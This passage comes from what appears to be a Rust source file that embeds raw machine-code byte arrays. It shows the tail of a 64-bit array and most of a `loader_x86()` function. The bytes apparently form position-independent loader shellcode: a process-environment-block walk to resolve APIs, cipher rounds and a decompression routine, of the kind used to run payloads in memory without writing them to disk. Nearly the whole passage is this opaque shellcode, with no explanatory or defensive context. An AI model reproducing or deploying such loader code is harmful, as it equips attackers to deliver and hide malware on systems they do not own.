0xc8, 0x72, 0xee, 0x8b, 0x9c, 0x24, 0xe0, 572 | 0x00, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0xe0, 0x00, 0x00, 0x00, 0xff, 0x97, 0xa8, 0x00, 573 | 0x00, 0x00, 0x33, 0xd2, 0x85, 0xdb, 0x74, 0x39, 0x48, 0x8b, 0xce, 0x4c, 0x8b, 0xe9, 0x48, 574 | 0x39, 0x41, 0x08, 0x74, 0x22, 0xff, 0xc2, 0x48, 0x83, 0xc1, 0x08, 0x3b, 0xd3, 0x72, 0xed, 575 | 0xeb, 0x29, 0x48, 0x8d, 0x04, 0x89, 0x41, 0x8b, 0x74, 0xc2, 0x24, 0x41, 0x8b, 0x5c, 0xc2, 576 | 0x20, 0x49, 0x03, 0xf3, 0xc1, 0xeb, 0x03, 0xeb, 0xc6, 0x48, 0x8b, 0xd5, 0xff, 0x97, 0xa0, 577 | 0x01, 0x00, 0x00, 0xeb, 0x08, 0x4c, 0x8b, 0xac, 0x24, 0xe0, 0x00, 0x00, 0x00, 0xff, 0x97, 578 | 0xa0, 0x00, 0x00, 0x00, 0x33, 0xed, 0x44, 0x8d, 0x4d, 0x01, 0x85, 0xdb, 0x74, 0x41, 0x48, 579 | 0x8d, 0x4e, 0x08, 0x48, 0x39, 0x01, 0x74, 0x0d, 0x41, 0x03, 0xe9, 0x48, 0x83, 0xc1, 0x08, 580 | 0x3b, 0xeb, 0x72, 0xf0, 0xeb, 0x2b, 0x45, 0x8a, 0xc1, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x49, 581 | 0x8b, 0xd5, 0xff, 0x97, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x0c, 0xee, 0x41, 0xb8, 0x10, 582 | 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20, 0xe8, 0xde, 0x06, 0x00, 0x00, 0x41, 0xb9, 583 | 0x01, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x46, 0x18, 0x48, 0x8b, 0x70, 0x10, 0xe9, 0xf9, 0x00, 584 | 0x00, 0x00, 0x4c, 0x8d, 0xb7, 0x6c, 0x03, 0x00, 0x00, 0x41, 0x8a, 0x0e, 0x33, 0xed, 0x33, 585 | 0xd2, 0x45, 0x8b, 0xf9, 0x84, 0xc9, 0x0f, 0x84, 0xdd, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc0, 586 | 0x80, 0xf9, 0x3b, 0x74, 0x2e, 0x81, 0xfa, 0x80, 0x00, 0x00, 0x00, 0x73, 0x26, 0x33, 0xc0, 587 | 0x42, 0x88, 0x4c, 0x04, 0x30, 0x80, 0xf9, 0x77, 0x41, 0x0f, 0x45, 0xc7, 0x80, 0xf9, 0x70, 588 | 0x44, 0x8b, 0xf8, 0x41, 0x0f, 0x44, 0xe9, 0x41, 0x03, 0xd1, 0x44, 0x8b, 0xc2, 0x42, 0x8a, 589 | 0x0c, 0x32, 0x84, 0xc9, 0x75, 0xcd, 0x85, 0xd2, 0x0f, 0x84, 0x9f, 0x00, 0x00, 0x00, 0x8d, 590 | 0x4a, 0x01, 0xc6, 0x44, 0x14, 0x30, 0x00, 0x4c, 0x03, 0xf1, 0x48, 0x8d, 0x54, 0x24, 0x30, 591 | 0x48, 0x8b, 0x4e, 0x30, 0xff, 0x57, 0x38, 0x48, 0x8b, 0xd8, 0x41, 0xb9, 0x01, 0x00, 0x00, 592 | 0x00, 0x48, 0x85, 0xc0, 0x74, 0x8b, 0x45, 0x85, 0xff, 0x74, 0x38, 0x85, 0xed, 0x74, 0x14, 593 | 0xff, 0xd3, 0x48, 0x8b, 0xd8, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 594 | 0x84, 0x6e, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x13, 0x48, 0x8b, 0xcf, 0xe8, 0x27, 0xec, 0xff, 595 | 0xff, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x55, 0xff, 0xff, 0xff, 596 | 0x48, 0x8b, 0x44, 0x24, 0x28, 0xeb, 0x35, 0x85, 0xed, 0x74, 0x14, 0xff, 0xd3, 0x48, 0x8b, 597 | 0xd8, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x36, 0xff, 0xff, 598 | 0xff, 0x48, 0x8b, 0x13, 0x48, 0x8b, 0xcf, 0xe8, 0xef, 0xeb, 0xff, 0xff, 0x41, 0xb9, 0x01, 599 | 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x1d, 0xff, 0xff, 0xff, 0x49, 0x8b, 0x45, 0x08, 600 | 0x48, 0x89, 0x03, 0xe9, 0x11, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x36, 0x48, 0x83, 0x7e, 0x30, 601 | 0x00, 0x0f, 0x85, 0xfc, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 602 | 0x41, 0x8b, 0xc1, 0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x6b, 0x40, 0x49, 0x8b, 0x73, 0x48, 603 | 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f, 0xc3, 0xcc, 0xcc, 604 | 0xcc, 0x41, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33, 0xc0, 0xc3, 0xcc, 0xcc, 0x2b, 0xca, 605 | 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 0xcc, 0x44, 0x8b, 0xc2, 0x8b, 0xc1, 0x99, 0x41, 0xf7, 0xf8, 606 | 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 607 | 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x65, 0x48, 0x8b, 0x04, 0x25, 0x30, 0x00, 608 | 0x00, 0x00, 0x49, 0x8b, 0xf8, 0x48, 0x8b, 0xf2, 0x48, 0x8b, 0xe9, 0x45, 0x33, 0xd2, 0x4c, 609 | 0x8b, 0x48, 0x60, 0x49, 0x8b, 0x41, 0x18, 0x48, 0x8b, 0x58, 0x10, 0xeb, 0x1c, 0x4d, 0x85, 610 | 0xd2, 0x75, 0x20, 0x4c, 0x8b, 0xcf, 0x4c, 0x8b, 0xc6, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xcd, 611 | 0xe8, 0x5f, 0xe4, 0xff, 0xff, 0x48, 0x8b, 0x1b, 0x4c, 0x8b, 0xd0, 0x48, 0x8b, 0x43, 0x30, 612 | 0x48, 0x85, 0xc0, 0x75, 0xdb, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x49, 0x8b, 0xc2, 0x48, 0x8b, 613 | 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 614 | 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 615 | 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, 0x33, 0xf6, 0x45, 0x33, 0xf6, 0x33, 0xed, 616 | 0x48, 0x8b, 0xfa, 0x4c, 0x8b, 0xf9, 0x43, 0x8a, 0x0c, 0x3e, 0x84, 0xc9, 0x74, 0x16, 0x41, 617 | 0x83, 0xfe, 0x40, 0x74, 0x10, 0x88, 0x4c, 0x34, 0x20, 0x41, 0xff, 0xc6, 0xff, 0xc6, 0x83, 618 | 0xfe, 0x10, 0x75, 0x67, 0xeb, 0x53, 0x8b, 0xc6, 0x48, 0x8d, 0x5c, 0x24, 0x20, 0x48, 0x03, 619 | 0xd8, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x44, 0x2b, 0xc6, 0x33, 0xd2, 620 | 0xe8, 0xcc, 0x04, 0x00, 0x00, 0xc6, 0x03, 0x80, 0x83, 0xfe, 0x0c, 0x72, 0x20, 0x48, 0x8b, 621 | 0xd7, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x57, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 622 | 0x4c, 0x24, 0x20, 0x48, 0x33, 0xf8, 0x44, 0x8d, 0x42, 0x10, 0xe8, 0xa4, 0x04, 0x00, 0x00, 623 | 0x42, 0x8d, 0x04, 0xf5, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc5, 0x89, 0x44, 0x24, 0x2c, 0x48, 624 | 0x8b, 0xd7, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x29, 0x00, 0x00, 0x00, 0x48, 0x33, 0xf8, 625 | 0x33, 0xf6, 0x85, 0xed, 0x0f, 0x84, 0x75, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x50, 626 | 0x48, 0x8b, 0xc7, 0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83, 627 | 0xc4, 0x30, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc4, 0x53, 0x48, 0x83, 0xec, 628 | 0x10, 0x0f, 0x10, 0x01, 0x48, 0x89, 0x50, 0x10, 0x8b, 0xca, 0x44, 0x8b, 0x40, 0x14, 0x45, 629 | 0x33, 0xd2, 0x0f, 0x11, 0x04, 0x24, 0x8b, 0x50, 0xf4, 0x44, 0x8b, 0x58, 0xf0, 0x8b, 0x58, 630 | 0xec, 0x44, 0x8b, 0x0c, 0x24, 0x8b, 0xc2, 0xc1, 0xc9, 0x08, 0x41, 0x03, 0xc8, 0x8b, 0xd3, 631 | 0x41, 0x33, 0xc9, 0xc1, 0xca, 0x08, 0x41, 0x03, 0xd1, 0x41, 0xc1, 0xc0, 0x03, 0x41, 0x33, 632 | 0xd2, 0x41, 0xc1, 0xc1, 0x03, 0x44, 0x33, 0xca, 0x44, 0x33, 0xc1, 0x41, 0xff, 0xc2, 0x41, 633 | 0x8b, 0xdb, 0x44, 0x8b, 0xd8, 0x41, 0x83, 0xfa, 0x1b, 0x72, 0xcd, 0x89, 0x4c, 0x24, 0x28, 634 | 0x44, 0x89, 0x44, 0x24, 0x2c, 0x48, 0x8b, 0x44, 0x24, 0x28, 0x48, 0x83, 0xc4, 0x10, 0x5b, 635 | 0xc3, 0xcc, 0xcc, 0xcc, 0x45, 0x85, 0xc9, 0x0f, 0x84, 0x44, 0x01, 0x00, 0x00, 0x48, 0x8b, 636 | 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 637 | 0x78, 0x20, 0x55, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x10, 0x4c, 0x8b, 0xd9, 0x48, 0x8d, 638 | 0x45, 0xf0, 0x4c, 0x2b, 0xd8, 0x48, 0x8d, 0x72, 0x0f, 0x49, 0x8b, 0xd8, 0x41, 0xbf, 0x10, 639 | 0x00, 0x00, 0x00, 0x48, 0x8d, 0x45, 0xf0, 0x48, 0x3b, 0xc6, 0x77, 0x13, 0x48, 0x8d, 0x45, 640 | 0xff, 0x48, 0x3b, 0xc2, 0x72, 0x0a, 0x0f, 0x10, 0x02, 0xf3, 0x0f, 0x7f, 0x45, 0xf0, 0xeb, 641 | 0x08, 0x0f, 0x10, 0x02, 0xf3, 0x0f, 0x7f, 0x45, 0xf0, 0x48, 0x8d, 0x4d, 0xf0, 0x41, 0xb8, 642 | 0x04, 0x00, 0x00, 0x00, 0x41, 0x8b, 0x04, 0x0b, 0x31, 0x01, 0x48, 0x8d, 0x49, 0x04, 0x49, 643 | 0x83, 0xe8, 0x01, 0x75, 0xf0, 0x44, 0x8b, 0x45, 0xfc, 0x49, 0x8b, 0xff, 0x8b, 0x45, 0xf8, 644 | 0x44, 0x8b, 0x55, 0xf4, 0x8b, 0x4d, 0xf0, 0x41, 0x03, 0xca, 0x41, 0x03, 0xc0, 0x41, 0xc1, 645 | 0xc2, 0x05, 0x44, 0x33, 0xd1, 0x41, 0xc1, 0xc0, 0x08, 0x44, 0x33, 0xc0, 0xc1, 0xc1, 0x10, 646 | 0x41, 0x03, 0xc2, 0x41, 0x03, 0xc8, 0x41, 0xc1, 0xc2, 0x07, 0x41, 0xc1, 0xc0, 0x0d, 0x44, 647 | 0x33, 0xd0, 0x44, 0x33, 0xc1, 0xc1, 0xc0, 0x10, 0x48, 0x83, 0xef, 0x01, 0x75, 0xcc, 0x44, 648 | 0x89, 0x45, 0xfc, 0x44, 0x8d, 0x47, 0x04, 0x89, 0x4d, 0xf0, 0x48, 0x8d, 0x4d, 0xf0, 0x44, 649 | 0x89, 0x55, 0xf4, 0x89, 0x45, 0xf8, 0x42, 0x8b, 0x04, 0x19, 0x31, 0x01, 0x48, 0x8d, 0x49, 650 | 0x04, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xf0, 0x45, 0x3b, 0xcf, 0x41, 0x8b, 0xc9, 0x41, 0x0f, 651 | 0x47, 0xcf, 0x85, 0xc9, 0x74, 0x1c, 0x4c, 0x8d, 0x55, 0xf0, 0x8b, 0xf9, 0x4c, 0x2b, 0xd3, 652 | 0x4c, 0x8b, 0xc3, 0x43, 0x8a, 0x04, 0x02, 0x41, 0x30, 0x00, 0x49, 0xff, 0xc0, 0x48, 0x83, 653 | 0xef, 0x01, 0x75, 0xf0, 0x44, 0x2b, 0xc9, 0x8b, 0xc1, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc7, 654 | 0x41, 0x8d, 0x40, 0xff, 0x80, 0x04, 0x10, 0x01, 0x75, 0x08, 0x41, 0xff, 0xc8, 0x45, 0x85, 655 | 0xc0, 0x7f, 0xee, 0x45, 0x85, 0xc9, 0x0f, 0x85, 0x07, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x5c, 656 | 0x24, 0x20, 0x48, 0x8b, 0x74, 0x24, 0x28, 0x48, 0x8b, 0x7c, 0x24, 0x30, 0x4c, 0x8b, 0x7c, 657 | 0x24, 0x38, 0x48, 0x83, 0xc4, 0x10, 0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 658 | 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x4c, 0x89, 0x70, 0x20, 0x55, 659 | 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x40, 0x8a, 0x01, 0x41, 0x83, 0xce, 0xff, 0x83, 0x65, 660 | 0xf4, 0x00, 0x45, 0x33, 0xc9, 0x88, 0x02, 0x33, 0xff, 0x48, 0x8d, 0x42, 0x01, 0x48, 0x8b, 661 | 0xda, 0x48, 0x89, 0x45, 0xe8, 0x45, 0x8b, 0xde, 0x48, 0x8d, 0x41, 0x01, 0x48, 0x89, 0x45, 662 | 0xe0, 0x8d, 0x77, 0x01, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xf6, 0x01, 0x00, 0x00, 0x85, 0xc0, 663 | 0x0f, 0x84, 0xaa, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xe5, 0x01, 0x00, 0x00, 664 | 0x85, 0xc0, 0x0f, 0x84, 0x9f, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xd4, 0x01, 665 | 0x00, 0x00, 0x85, 0xc0, 0x74, 0x4e, 0x45, 0x33, 0xc9, 0x45, 0x8d, 0x51, 0x04, 0x48, 0x8d, 666 | 0x4d, 0xe0, 0xe8, 0xc0, 0x01, 0x00, 0x00, 0x46, 0x8d, 0x0c, 0x48, 0x44, 0x2b, 0xd6, 0x75, 667 | 0xee, 0x45, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x8b, 0x55, 0xe8, 0x48, 0x8b, 0xc2, 0x41, 0x8b, 668 | 0xc9, 0x48, 0x2b, 0xc1, 0x8a, 0x00, 0x88, 0x02, 0x48, 0x03, 0xd6, 0x48, 0x89, 0x55, 0xe8, 669 | 0xe9, 0x6b, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xe8, 0xc6, 0x00, 0x00, 0x48, 0x03, 0xc6, 670 | 0x48, 0x89, 0x45, 0xe8, 0xe9, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x45, 0xe0, 0x44, 0x0f, 671 | 0xb6, 0x18, 0x48, 0x03, 0xc6, 0x41, 0x8b, 0xcb, 0x48, 0x89, 0x45, 0xe0, 0x23, 0xce, 0x83, 672 | 0xc1, 0x02, 0x41, 0xd1, 0xeb, 0x74, 0x21, 0x48, 0x8b, 0x55, 0xe8, 0x45, 0x8b, 0xc3, 0x49, 673 | 0xf7, 0xd8, 0x41, 0x8a, 0x04, 0x10, 0x88, 0x02, 0x48, 0x03, 0xd6, 0x41, 0x03, 0xce, 0x75, 674 | 0xf2, 0x48, 0x89, 0x55, 0xe8, 0xe9, 0xfc, 0x00, 0x00, 0x00, 0x8b, 0xfe, 0xe9, 0xf5, 0x00, 675 | 0x00, 0x00, 0x44, 0x8b, 0xd6, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0x32, 0x01, 0x00, 0x00, 0x48, 676 | 0x8d, 0x4d, 0xe0, 0x46, 0x8d, 0x14, 0x50, 0xe8, 0x25, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x75, 677 | 0xe6, 0x45, 0x85, 0xc9, 0x75, 0x48, 0x41, 0x83, 0xfa, 0x02, 0x75, 0x42, 0x44, 0x8b, 0xce, 678 | 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0x0a, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0x46, 0x8d, 679 | 0x0c, 0x48, 0xe8, 0xfd, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xe6, 0x45, 0x85, 0xc9, 0x0f, 680 | 0x84, 0xa7, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe8, 0x41, 0x8b, 0xd3, 0x48, 0xf7, 0xda, 681 | 0x8a, 0x04, 0x0a, 0x88, 0x01, 0x48, 0x03, 0xce, 0x45, 0x03, 0xce, 0x75, 0xf3, 0xe9, 0x87, 682 | 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4d, 0xe0, 0x44, 0x33, 0xce, 0x45, 0x2b, 0xd1, 0x44, 0x8b, 683 | 0xce, 0x41, 0xc1, 0xe2, 0x08, 0x44, 0x0f, 0xb6, 0x19, 0x41, 0x81, 0xc3, 0x00, 0xfe, 0xff, 684 | 0xff, 0x45, 0x03, 0xda, 0x48, 0x03, 0xce, 0x48, 0x89, 0x4d, 0xe0, 0x48, 0x8d, 0x4d, 0xe0, 685 | 0xe8, 0xa5, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4d, 0xe0, 0x46, 0x8d, 0x0c, 0x48, 0xe8, 0x98, 686 | 0x00, 0x00, 0x00, 0x85, 0xc0, 0x75, 0xe6, 0x41, 0x81, 0xfb, 0x00, 0x7d, 0x00, 0x00, 0x41, 687 | 0x8d, 0x41, 0x01, 0x41, 0x0f, 0x42, 0xc1, 0x41, 0x81, 0xfb, 0x00, 0x05, 0x00, 0x00, 0x8d, 688 | 0x48, 0x01, 0x0f, 0x42, 0xc8, 0x41, 0x81, 0xfb, 0x80, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x41, 689 | 0x02, 0x44, 0x0f, 0x43, 0xc1, 0x45, 0x85, 0xc0, 0x74, 0x1b, 0x48, 0x8b, 0x4d, 0xe8, 0x41, 690 | 0x8b, 0xd3, 0x48, 0xf7, 0xda, 0x8a, 0x04, 0x0a, 0x88, 0x01, 0x48, 0x03, 0xce, 0x45, 0x03, 691 | 0xc6, 0x75, 0xf3, 0x48, 0x89, 0x4d, 0xe8, 0x44, 0x8b, 0xce, 0xeb, 0x1d, 0x48, 0x8b, 0x55, 692 | 0xe0, 0x48, 0x8b, 0x4d, 0xe8, 0x8a, 0x02, 0x88, 0x01, 0x48, 0x03, 0xce, 0x48, 0x03, 0xd6, 693 | 0x48, 0x89, 0x4d, 0xe8, 0x48, 0x89, 0x55, 0xe0, 0x45, 0x33, 0xc9, 0x85, 0xff, 0x0f, 0x84, 694 | 0x20, 0xfe, 0xff, 0xff, 0x8b, 0x45, 0xe8, 0x48, 0x8b, 0x74, 0x24, 0x58, 0x2b, 0xc3, 0x48, 695 | 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x60, 0x4c, 0x8b, 0x74, 0x24, 0x68, 0x48, 696 | 0x83, 0xc4, 0x40, 0x5d, 0xc3, 0x8b, 0x51, 0x14, 0x4c, 0x8b, 0xc1, 0x8d, 0x42, 0xff, 0x89, 697 | 0x41, 0x14, 0x85, 0xd2, 0x75, 0x17, 0x48, 0x8b, 0x01, 0x0f, 0xb6, 0x10, 0x48, 0xff, 0xc0, 698 | 0x48, 0x89, 0x01, 0x8b, 0xc2, 0xc7, 0x41, 0x14, 0x07, 0x00, 0x00, 0x00, 0xeb, 0x03, 0x8b, 699 | 0x41, 0x10, 0x8d, 0x0c, 0x00, 0xc1, 0xe8, 0x07, 0x83, 0xe0, 0x01, 0x41, 0x89, 0x48, 0x10, 700 | 0xc3, 0x4c, 0x8b, 0xc9, 0x45, 0x85, 0xc0, 0x74, 0x13, 0x48, 0x2b, 0xd1, 0x42, 0x8a, 0x04, 701 | 0x0a, 0x41, 0x88, 0x01, 0x49, 0xff, 0xc1, 0x41, 0x83, 0xc0, 0xff, 0x75, 0xf0, 0x48, 0x8b, 702 | 0xc1, 0xc3, 0xcc, 0x48, 0x89, 0x7c, 0x24, 0x08, 0x4c, 0x8b, 0xc9, 0x8a, 0xc2, 0x49, 0x8b, 703 | 0xf9, 0x41, 0x8b, 0xc8, 0xf3, 0xaa, 0x48, 0x8b, 0x7c, 0x24, 0x08, 0x49, 0x8b, 0xc1, 0xc3, 704 | 0xcc, 0xeb, 0x0f, 0x80, 0x3a, 0x00, 0x74, 0x10, 0x3a, 0x02, 0x75, 0x0c, 0x48, 0xff, 0xc1, 705 | 0x48, 0xff, 0xc2, 0x8a, 0x01, 0x84, 0xc0, 0x75, 0xeb, 0x0f, 0xbe, 0x01, 0x0f, 0xbe, 0x0a, 706 | 0x2b, 0xc1, 0xc3, 707 | ]; 708 | } 709 | 710 | pub fn loader_x86() -> Vec { 711 | return vec![ 712 | 0x81, 0xec, 0xcc, 0x02, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24, 0xdc, 0x02, 0x00, 713 | 0x00, 0x33, 0xdb, 0x57, 0x8b, 0xfb, 0x8b, 0x86, 0x38, 0x02, 0x00, 0x00, 0x0b, 0x86, 0x3c, 714 | 0x02, 0x00, 0x00, 0x0f, 0x84, 0xd4, 0x00, 0x00, 0x00, 0xff, 0x76, 0x2c, 0xff, 0x76, 0x28, 715 | 0xff, 0xb6, 0x8c, 0x00, 0x00, 0x00, 0xff, 0xb6, 0x88, 0x00, 0x00, 0x00, 0x56, 0xe8, 0x40, 716 | 0x20, 0x00, 0x00, 0x8b, 0xf8, 0x83, 0xc4, 0x14, 0x85, 0xff, 0x0f, 0x84, 0xaa, 0x00, 0x00, 717 | 0x00, 0x53, 0x53, 0x56, 0xe8, 0x21, 0x20, 0x00, 0x00, 0x8b, 0xc8, 0xb8, 0x20, 0x21, 0x40, 718 | 0x00, 0x2d, 0x75, 0x30, 0x40, 0x00, 0x03, 0xc8, 0x51, 0x53, 0x53, 0xff, 0xd7, 0xff, 0x76, 719 | 0x2c, 0x8b, 0xf8, 0xff, 0x76, 0x28, 0xff, 0xb6, 0xbc, 0x01, 0x00, 0x00, 0xff, 0xb6, 0xb8, 720 | 0x01, 0x00, 0x00, 0x56, 0xe8, 0xfe, 0x1f, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8b, 0xe8, 0xff, 721 | 0x76, 0x28, 0xff, 0xb6, 0x94, 0x00, 0x00, 0x00, 0xff, 0xb6, 0x90, 0x00, 0x00, 0x00, 0x56, 722 | 0xe8, 0xe4, 0x1f, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8b, 0xd8, 0xff, 0x76, 0x28, 0xff, 0xb6, 723 | 0x9c, 0x00, 0x00, 0x00, 0xff, 0xb6, 0x98, 0x00, 0x00, 0x00, 0x56, 0xe8, 0xca, 0x1f, 0x00, 724 | 0x00, 0x83, 0xc4, 0x3c, 0x85, 0xed, 0x74, 0x46, 0x85, 0xdb, 0x74, 0x42, 0x85, 0xc0, 0x74, 725 | 0x3e, 0x8d, 0x4c, 0x24, 0x10, 0xc7, 0x44, 0x24, 0x10, 0x07, 0x00, 0x01, 0x00, 0x51, 0xff, 726 | 0xd0, 0x50, 0xff, 0xd3, 0x8b, 0x86, 0x38, 0x02, 0x00, 0x00, 0x83, 0xa4, 0x24, 0xd4, 0x00, 727 | 0x00, 0x00, 0xfc, 0x89, 0x84, 0x24, 0xc8, 0x00, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x10, 0x6a, 728 | 0x00, 0x50, 0xff, 0xd5, 0xeb, 0x0c, 0x83, 0xc8, 0xff, 0xeb, 0x09, 0x56, 0xe8, 0x1f, 0x10, 729 | 0x00, 0x00, 0x59, 0x8b, 0xc7, 0x5f, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0xcc, 0x02, 0x00, 0x00, 730 | 0xc3, 0x8b, 0x44, 0x24, 0x04, 0x83, 0xc0, 0x04, 0xf0, 0xff, 0x00, 0x8b, 0x00, 0xc2, 0x04, 731 | 0x00, 0xb8, 0x01, 0x40, 0x00, 0x80, 0xc2, 0x08, 0x00, 0x56, 0x57, 0xe8, 0x48, 0x1f, 0x00, 732 | 0x00, 0x8b, 0x74, 0x24, 0x10, 0xb9, 0x9d, 0x11, 0x40, 0x00, 0xbf, 0x75, 0x30, 0x40, 0x00, 733 | 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x08, 0xe8, 0x2d, 0x1f, 0x00, 0x00, 0xb9, 0x0f, 734 | 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 0x04, 0xe8, 0x1a, 0x1f, 735 | 0x00, 0x00, 0xb9, 0xfc, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x89, 0x48, 736 | 0x08, 0xe8, 0x07, 0x1f, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 0x2b, 0xcf, 0x03, 0xc8, 737 | 0x8b, 0x06, 0x89, 0x48, 0x0c, 0xe8, 0xf4, 0x1e, 0x00, 0x00, 0xb9, 0x1e, 0x11, 0x40, 0x00, 738 | 0x2b, 0xcf, 0x03, 0xc8, 0x8b, 0x06, 0x5f, 0x89, 0x48, 0x10, 0x8b, 0x44, 0x24, 0x08, 0x83, 739 | 0x66, 0x04, 0x00, 0x89, 0x46, 0x08, 0x5e, 0xc3, 0x8b, 0x4c, 0x24, 0x0c, 0x85, 0xc9, 0x75, 740 | 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x4d, 0x53, 0x8b, 0x5c, 0x24, 0x0c, 0x33, 0xd2, 741 | 0x56, 0x8b, 0x74, 0x24, 0x0c, 0x57, 0x8b, 0x7e, 0x08, 0x8b, 0x84, 0x97, 0xf4, 0x05, 0x00, 742 | 0x00, 0x3b, 0x04, 0x93, 0x75, 0x08, 0x42, 0x83, 0xfa, 0x04, 0x75, 0xee, 0xeb, 0x14, 0x33, 743 | 0xd2, 0x8b, 0x84, 0x97, 0xb4, 0x06, 0x00, 0x00, 0x3b, 0x04, 0x93, 0x75, 0x10, 0x42, 0x83, 744 | 0xfa, 0x04, 0x75, 0xee, 0x89, 0x31, 0xf0, 0xff, 0x46, 0x04, 0x33, 0xc0, 0xeb, 0x08, 0x83, 745 | 0x21, 0x00, 0xb8, 0x02, 0x40, 0x00, 0x80, 0x5f, 0x5e, 0x5b, 0xc2, 0x0c, 0x00, 0x8b, 0x4c, 746 | 0x24, 0x04, 0x83, 0xc8, 0xff, 0xf0, 0x0f, 0xc1, 0x41, 0x04, 0x48, 0xc2, 0x04, 0x00, 0x33, 747 | 0xc0, 0xc2, 0x08, 0x00, 0x55, 0x8b, 0xec, 0xf6, 0x45, 0x10, 0x02, 0x56, 0x8b, 0x75, 0x08, 748 | 0x57, 0x74, 0x15, 0x8b, 0x7d, 0x18, 0x85, 0xff, 0x74, 0x1b, 0x8b, 0x46, 0x1c, 0x50, 0x8b, 749 | 0x08, 0xff, 0x51, 0x04, 0x8b, 0x46, 0x1c, 0x89, 0x07, 0xf6, 0x45, 0x10, 0x01, 0x74, 0x19, 750 | 0x8b, 0x7d, 0x14, 0x85, 0xff, 0x75, 0x07, 0xb8, 0x03, 0x40, 0x00, 0x80, 0xeb, 0x0d, 0x83, 751 | 0xc6, 0x14, 0x56, 0x8b, 0x06, 0xff, 0x50, 0x04, 0x89, 0x37, 0x33, 0xc0, 0x5f, 0x5e, 0x5d, 752 | 0xc2, 0x14, 0x00, 0x8b, 0x44, 0x24, 0x04, 0x8b, 0x40, 0x2c, 0xff, 0x50, 0x54, 0x8b, 0x4c, 753 | 0x24, 0x08, 0x89, 0x01, 0x33, 0xc0, 0xc2, 0x08, 0x00, 0x56, 